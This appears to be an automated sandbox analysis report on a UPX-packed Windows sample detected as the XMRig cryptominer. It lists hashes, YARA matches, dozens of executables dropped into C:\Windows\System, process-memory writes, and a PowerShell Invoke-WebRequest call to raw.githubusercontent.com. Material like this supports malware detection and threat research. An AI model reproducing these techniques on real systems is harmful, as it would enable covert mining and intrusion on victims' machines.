xmrig | 97f6d1b288ee6670ab9aaffa8c9b99742cd1ca80cd134cb8bd34380a79964d90

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/05/2024, 23:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
Size

2.0MB
MD5

8254a95f1fde7c8fe0695396d01eaafa
SHA1

a4c4980c7ab7e167f77d26a891fc6b9e8ac3a689
SHA256

97f6d1b288ee6670ab9aaffa8c9b99742cd1ca80cd134cb8bd34380a79964d90
SHA512

80ecee0d2c8d9553860228262fa5ce857d1fd682707b9dc8957f518343e83531069a82df25eb9f206f1a0d062d481699bf00a18b9d27c574513b63bc0f07d123
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMz:NABL

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 47 IoCs

miner

resource	yara_rule
behavioral2/memory/2904-225-0x00007FF626EA0000-0x00007FF627292000-memory.dmp	xmrig
behavioral2/memory/3592-246-0x00007FF75AFE0000-0x00007FF75B3D2000-memory.dmp	xmrig
behavioral2/memory/4732-322-0x00007FF73C580000-0x00007FF73C972000-memory.dmp	xmrig
behavioral2/memory/1696-317-0x00007FF6EF9D0000-0x00007FF6EFDC2000-memory.dmp	xmrig
behavioral2/memory/1340-257-0x00007FF61F550000-0x00007FF61F942000-memory.dmp	xmrig
behavioral2/memory/4624-107-0x00007FF682460000-0x00007FF682852000-memory.dmp	xmrig
behavioral2/memory/4700-545-0x00007FF64CC00000-0x00007FF64CFF2000-memory.dmp	xmrig
behavioral2/memory/4236-712-0x00007FF7CD0E0000-0x00007FF7CD4D2000-memory.dmp	xmrig
behavioral2/memory/2700-769-0x00007FF6B84A0000-0x00007FF6B8892000-memory.dmp	xmrig
behavioral2/memory/3816-1065-0x00007FF7BB8D0000-0x00007FF7BBCC2000-memory.dmp	xmrig
behavioral2/memory/2532-1059-0x00007FF6338A0000-0x00007FF633C92000-memory.dmp	xmrig
behavioral2/memory/5024-990-0x00007FF69C230000-0x00007FF69C622000-memory.dmp	xmrig
behavioral2/memory/1432-985-0x00007FF7A4410000-0x00007FF7A4802000-memory.dmp	xmrig
behavioral2/memory/2804-905-0x00007FF796590000-0x00007FF796982000-memory.dmp	xmrig
behavioral2/memory/2288-881-0x00007FF7B7B00000-0x00007FF7B7EF2000-memory.dmp	xmrig
behavioral2/memory/768-1698-0x00007FF715D80000-0x00007FF716172000-memory.dmp	xmrig
behavioral2/memory/1804-1492-0x00007FF7AD720000-0x00007FF7ADB12000-memory.dmp	xmrig
behavioral2/memory/4644-1187-0x00007FF62CD70000-0x00007FF62D162000-memory.dmp	xmrig
behavioral2/memory/2984-1186-0x00007FF6F8040000-0x00007FF6F8432000-memory.dmp	xmrig
behavioral2/memory/3332-1188-0x00007FF7E8630000-0x00007FF7E8A22000-memory.dmp	xmrig
behavioral2/memory/4104-1162-0x00007FF751340000-0x00007FF751732000-memory.dmp	xmrig
behavioral2/memory/4500-1159-0x00007FF720E10000-0x00007FF721202000-memory.dmp	xmrig
behavioral2/memory/3928-749-0x00007FF7CC290000-0x00007FF7CC682000-memory.dmp	xmrig
behavioral2/memory/4932-3073-0x00007FF6D6740000-0x00007FF6D6B32000-memory.dmp	xmrig
behavioral2/memory/1340-3076-0x00007FF61F550000-0x00007FF61F942000-memory.dmp	xmrig
behavioral2/memory/2904-3081-0x00007FF626EA0000-0x00007FF627292000-memory.dmp	xmrig
behavioral2/memory/3592-3083-0x00007FF75AFE0000-0x00007FF75B3D2000-memory.dmp	xmrig
behavioral2/memory/4624-3080-0x00007FF682460000-0x00007FF682852000-memory.dmp	xmrig
behavioral2/memory/2700-3085-0x00007FF6B84A0000-0x00007FF6B8892000-memory.dmp	xmrig
behavioral2/memory/1696-3089-0x00007FF6EF9D0000-0x00007FF6EFDC2000-memory.dmp	xmrig
behavioral2/memory/4700-3087-0x00007FF64CC00000-0x00007FF64CFF2000-memory.dmp	xmrig
behavioral2/memory/3332-3078-0x00007FF7E8630000-0x00007FF7E8A22000-memory.dmp	xmrig
behavioral2/memory/4644-3123-0x00007FF62CD70000-0x00007FF62D162000-memory.dmp	xmrig
behavioral2/memory/3816-3125-0x00007FF7BB8D0000-0x00007FF7BBCC2000-memory.dmp	xmrig
behavioral2/memory/768-3121-0x00007FF715D80000-0x00007FF716172000-memory.dmp	xmrig
behavioral2/memory/4236-3115-0x00007FF7CD0E0000-0x00007FF7CD4D2000-memory.dmp	xmrig
behavioral2/memory/2532-3113-0x00007FF6338A0000-0x00007FF633C92000-memory.dmp	xmrig
behavioral2/memory/2288-3111-0x00007FF7B7B00000-0x00007FF7B7EF2000-memory.dmp	xmrig
behavioral2/memory/1432-3107-0x00007FF7A4410000-0x00007FF7A4802000-memory.dmp	xmrig
behavioral2/memory/2984-3103-0x00007FF6F8040000-0x00007FF6F8432000-memory.dmp	xmrig
behavioral2/memory/1804-3101-0x00007FF7AD720000-0x00007FF7ADB12000-memory.dmp	xmrig
behavioral2/memory/4104-3097-0x00007FF751340000-0x00007FF751732000-memory.dmp	xmrig
behavioral2/memory/2804-3119-0x00007FF796590000-0x00007FF796982000-memory.dmp	xmrig
behavioral2/memory/4732-3109-0x00007FF73C580000-0x00007FF73C972000-memory.dmp	xmrig
behavioral2/memory/3928-3105-0x00007FF7CC290000-0x00007FF7CC682000-memory.dmp	xmrig
behavioral2/memory/4500-3099-0x00007FF720E10000-0x00007FF721202000-memory.dmp	xmrig
behavioral2/memory/5024-3093-0x00007FF69C230000-0x00007FF69C622000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	1512	powershell.exe
11	1512	powershell.exe
13	1512	powershell.exe
14	1512	powershell.exe
16	1512	powershell.exe
17	1512	powershell.exe
18	1512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1512	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4932	xcWIrcO.exe
3332	elujGzB.exe
4624	ENOkoiw.exe
2904	CgFHaDg.exe
3592	Mhvsedk.exe
1340	dXlcOZA.exe
1696	UxhdOBN.exe
4732	iJwRJSz.exe
4700	uAJNGmZ.exe
4236	SiBXTqr.exe
3928	DgojYsq.exe
2700	gVmsaJl.exe
2288	zNNOKGN.exe
2804	JNnQhIu.exe
1432	nfhPTxJ.exe
5024	sHkGNWU.exe
2532	wXXRRqF.exe
1804	EegqyIW.exe
3816	IgeSvNZ.exe
4500	YiKeqYv.exe
4104	gNufaWL.exe
2984	CUdDhsK.exe
768	qcVpJwp.exe
4644	oUyQeUA.exe
3288	aNNpcxY.exe
2564	qVigpaB.exe
4424	PdzmRuD.exe
4552	BeuIYSf.exe
3152	vROumlv.exe
3292	jfRxgrv.exe
940	pECiHuV.exe
4328	EIqmaYR.exe
3560	UTeEAWy.exe
2224	pvQUbHH.exe
3472	ZKHsadv.exe
2016	rcuhlyT.exe
4788	qdAAIvG.exe
2336	yVScKTm.exe
2520	aUZBFLz.exe
3840	IKAvuHJ.exe
688	mdRqGFL.exe
1064	GtYxhSF.exe
2404	JYdpWeq.exe
2720	ossacQw.exe
3716	rUuKlgp.exe
4760	SFTYaXt.exe
1772	HgFEqpw.exe
324	OciLywY.exe
3652	tAYCYET.exe
4092	rFsXGYF.exe
972	RjadULA.exe
2364	tdAdnrF.exe
400	nregIoD.exe
2312	ZzDRNxy.exe
4364	BTCRFZE.exe
1600	bLlwXgh.exe
1492	CoQbYRG.exe
956	mQvnxUg.exe
2456	gySenXh.exe
3268	aLLntGw.exe
2588	YUJjKuz.exe
1716	bfbRDlS.exe
4980	fkcAbDP.exe
1900	fTaVuqg.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4600-0-0x00007FF7B2780000-0x00007FF7B2B72000-memory.dmp	upx
behavioral2/memory/4932-15-0x00007FF6D6740000-0x00007FF6D6B32000-memory.dmp	upx
behavioral2/files/0x000800000002340a-5.dat	upx
behavioral2/files/0x000700000002340f-7.dat	upx
behavioral2/files/0x0007000000023416-53.dat	upx
behavioral2/files/0x0007000000023411-72.dat	upx
behavioral2/files/0x000700000002341b-71.dat	upx
behavioral2/files/0x000700000002342b-163.dat	upx
behavioral2/memory/2904-225-0x00007FF626EA0000-0x00007FF627292000-memory.dmp	upx
behavioral2/memory/3592-246-0x00007FF75AFE0000-0x00007FF75B3D2000-memory.dmp	upx
behavioral2/memory/4732-322-0x00007FF73C580000-0x00007FF73C972000-memory.dmp	upx
behavioral2/memory/1696-317-0x00007FF6EF9D0000-0x00007FF6EFDC2000-memory.dmp	upx
behavioral2/memory/1340-257-0x00007FF61F550000-0x00007FF61F942000-memory.dmp	upx
behavioral2/files/0x0007000000023429-185.dat	upx
behavioral2/files/0x0007000000023430-184.dat	upx
behavioral2/files/0x000700000002342f-182.dat	upx
behavioral2/files/0x000700000002342e-179.dat	upx
behavioral2/files/0x000700000002342d-172.dat	upx
behavioral2/files/0x0007000000023427-171.dat	upx
behavioral2/files/0x0007000000023421-166.dat	upx
behavioral2/files/0x0007000000023420-157.dat	upx
behavioral2/files/0x0007000000023425-156.dat	upx
behavioral2/files/0x000700000002341e-145.dat	upx
behavioral2/files/0x0007000000023422-135.dat	upx
behavioral2/files/0x0007000000023426-134.dat	upx
behavioral2/files/0x000700000002341c-130.dat	upx
behavioral2/files/0x000700000002342c-165.dat	upx
behavioral2/files/0x000800000002340b-164.dat	upx
behavioral2/files/0x0007000000023417-123.dat	upx
behavioral2/files/0x000700000002341f-121.dat	upx
behavioral2/files/0x0007000000023424-118.dat	upx
behavioral2/files/0x0007000000023423-117.dat	upx
behavioral2/files/0x000700000002342a-148.dat	upx
behavioral2/files/0x0007000000023414-110.dat	upx
behavioral2/files/0x0007000000023428-140.dat	upx
behavioral2/files/0x000700000002341d-102.dat	upx
behavioral2/files/0x000700000002341a-89.dat	upx
behavioral2/memory/4624-107-0x00007FF682460000-0x00007FF682852000-memory.dmp	upx
behavioral2/files/0x0007000000023415-67.dat	upx
behavioral2/files/0x0007000000023410-65.dat	upx
behavioral2/files/0x0007000000023419-84.dat	upx
behavioral2/files/0x0007000000023418-57.dat	upx
behavioral2/files/0x0007000000023413-49.dat	upx
behavioral2/files/0x000700000002340e-35.dat	upx
behavioral2/files/0x0007000000023412-40.dat	upx
behavioral2/memory/4700-545-0x00007FF64CC00000-0x00007FF64CFF2000-memory.dmp	upx
behavioral2/memory/4236-712-0x00007FF7CD0E0000-0x00007FF7CD4D2000-memory.dmp	upx
behavioral2/memory/2700-769-0x00007FF6B84A0000-0x00007FF6B8892000-memory.dmp	upx
behavioral2/memory/3816-1065-0x00007FF7BB8D0000-0x00007FF7BBCC2000-memory.dmp	upx
behavioral2/memory/2532-1059-0x00007FF6338A0000-0x00007FF633C92000-memory.dmp	upx
behavioral2/memory/5024-990-0x00007FF69C230000-0x00007FF69C622000-memory.dmp	upx
behavioral2/memory/1432-985-0x00007FF7A4410000-0x00007FF7A4802000-memory.dmp	upx
behavioral2/memory/2804-905-0x00007FF796590000-0x00007FF796982000-memory.dmp	upx
behavioral2/memory/2288-881-0x00007FF7B7B00000-0x00007FF7B7EF2000-memory.dmp	upx
behavioral2/memory/768-1698-0x00007FF715D80000-0x00007FF716172000-memory.dmp	upx
behavioral2/memory/1804-1492-0x00007FF7AD720000-0x00007FF7ADB12000-memory.dmp	upx
behavioral2/memory/4644-1187-0x00007FF62CD70000-0x00007FF62D162000-memory.dmp	upx
behavioral2/memory/2984-1186-0x00007FF6F8040000-0x00007FF6F8432000-memory.dmp	upx
behavioral2/memory/3332-1188-0x00007FF7E8630000-0x00007FF7E8A22000-memory.dmp	upx
behavioral2/memory/4104-1162-0x00007FF751340000-0x00007FF751732000-memory.dmp	upx
behavioral2/memory/4500-1159-0x00007FF720E10000-0x00007FF721202000-memory.dmp	upx
behavioral2/memory/3928-749-0x00007FF7CC290000-0x00007FF7CC682000-memory.dmp	upx
behavioral2/memory/4932-3073-0x00007FF6D6740000-0x00007FF6D6B32000-memory.dmp	upx
behavioral2/memory/1340-3076-0x00007FF61F550000-0x00007FF61F942000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\RNxlsbh.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\eebVHpt.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\AGhsozc.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\FZgImIe.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\UMIKgrG.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\oqiZEAj.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\jFjWurc.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\SYyaBvY.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\zojcHGk.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\spJUVUN.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\BxdzhBO.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\VHuNTlm.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\rgIEraZ.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\HXwFrzf.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\zzxdmxc.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\rmnDCfO.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\QWyussC.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\hnsTBcF.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\JTHVTTb.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\oiAjKFd.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\rQZVKSd.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\GHvCcfh.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\eZlTCXf.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\PWaJRiP.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\PjkCQsE.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\PnvaeHQ.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\eyDOzim.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\jfRxgrv.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\lkFYXqz.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\DazRnhF.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\QEkNMGJ.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\QQtqlpx.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\seehzTA.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\TzTQBEJ.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\eRQwhXm.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\YnZlGwJ.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\WoVNvXR.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\aOrRRdL.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\GnDAWbA.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\ZbXkQlg.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\IxGRSgD.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\TNyiIAs.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\bFOtJdz.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\pSFCJdg.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\uDjfJxf.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\ZiCyDhk.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\zRyCtOm.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\fBoyLgU.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\cGUvbKA.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\nYNxAKf.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\UCGWaZU.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\CdNsjfB.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\MpvNvsK.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\CcYTkwB.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\YiKeqYv.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\XEcEYUa.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\mKSjyOo.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\QiSQJrx.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\xdQtOYp.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\rScQNcx.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\VPthVHg.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\luXvOYU.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\BXLUcKh.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
File created	C:\Windows\System\YQhCVEt.exe	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 1512	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	84
PID 4600 wrote to memory of 1512	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	84
PID 4600 wrote to memory of 4932	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	85
PID 4600 wrote to memory of 4932	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	85
PID 4600 wrote to memory of 4624	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	86
PID 4600 wrote to memory of 4624	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	86
PID 4600 wrote to memory of 3332	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	87
PID 4600 wrote to memory of 3332	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	87
PID 4600 wrote to memory of 3592	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	88
PID 4600 wrote to memory of 3592	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	88
PID 4600 wrote to memory of 1696	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	89
PID 4600 wrote to memory of 1696	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	89
PID 4600 wrote to memory of 2904	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	90
PID 4600 wrote to memory of 2904	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	90
PID 4600 wrote to memory of 1340	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	91
PID 4600 wrote to memory of 1340	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	91
PID 4600 wrote to memory of 4732	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	92
PID 4600 wrote to memory of 4732	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	92
PID 4600 wrote to memory of 4700	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	93
PID 4600 wrote to memory of 4700	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	93
PID 4600 wrote to memory of 4236	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	94
PID 4600 wrote to memory of 4236	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	94
PID 4600 wrote to memory of 3928	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	95
PID 4600 wrote to memory of 3928	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	95
PID 4600 wrote to memory of 2700	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	96
PID 4600 wrote to memory of 2700	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	96
PID 4600 wrote to memory of 2288	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	97
PID 4600 wrote to memory of 2288	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	97
PID 4600 wrote to memory of 2804	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	98
PID 4600 wrote to memory of 2804	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	98
PID 4600 wrote to memory of 1432	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	99
PID 4600 wrote to memory of 1432	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	99
PID 4600 wrote to memory of 5024	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	100
PID 4600 wrote to memory of 5024	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	100
PID 4600 wrote to memory of 2532	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	101
PID 4600 wrote to memory of 2532	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	101
PID 4600 wrote to memory of 1804	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	102
PID 4600 wrote to memory of 1804	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	102
PID 4600 wrote to memory of 3816	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	103
PID 4600 wrote to memory of 3816	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	103
PID 4600 wrote to memory of 4500	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	104
PID 4600 wrote to memory of 4500	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	104
PID 4600 wrote to memory of 4104	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	105
PID 4600 wrote to memory of 4104	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	105
PID 4600 wrote to memory of 2984	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	106
PID 4600 wrote to memory of 2984	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	106
PID 4600 wrote to memory of 768	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	107
PID 4600 wrote to memory of 768	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	107
PID 4600 wrote to memory of 4644	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	108
PID 4600 wrote to memory of 4644	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	108
PID 4600 wrote to memory of 3288	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	109
PID 4600 wrote to memory of 3288	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	109
PID 4600 wrote to memory of 2564	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	110
PID 4600 wrote to memory of 2564	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	110
PID 4600 wrote to memory of 4424	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	111
PID 4600 wrote to memory of 4424	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	111
PID 4600 wrote to memory of 4552	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	112
PID 4600 wrote to memory of 4552	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	112
PID 4600 wrote to memory of 3152	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	113
PID 4600 wrote to memory of 3152	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	113
PID 4600 wrote to memory of 3292	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	114
PID 4600 wrote to memory of 3292	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	114
PID 4600 wrote to memory of 940	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	115
PID 4600 wrote to memory of 940	4600	8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8254a95f1fde7c8fe0695396d01eaafa_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System\xcWIrcO.exe
  C:\Windows\System\xcWIrcO.exe
  2⤵
  - Executes dropped EXE
  PID:4932
- C:\Windows\System\ENOkoiw.exe
  C:\Windows\System\ENOkoiw.exe
  2⤵
  - Executes dropped EXE
  PID:4624
- C:\Windows\System\elujGzB.exe
  C:\Windows\System\elujGzB.exe
  2⤵
  - Executes dropped EXE
  PID:3332
- C:\Windows\System\Mhvsedk.exe
  C:\Windows\System\Mhvsedk.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\UxhdOBN.exe
  C:\Windows\System\UxhdOBN.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\CgFHaDg.exe
  C:\Windows\System\CgFHaDg.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\dXlcOZA.exe
  C:\Windows\System\dXlcOZA.exe
  2⤵
  - Executes dropped EXE
  PID:1340
- C:\Windows\System\iJwRJSz.exe
  C:\Windows\System\iJwRJSz.exe
  2⤵
  - Executes dropped EXE
  PID:4732
- C:\Windows\System\uAJNGmZ.exe
  C:\Windows\System\uAJNGmZ.exe
  2⤵
  - Executes dropped EXE
  PID:4700
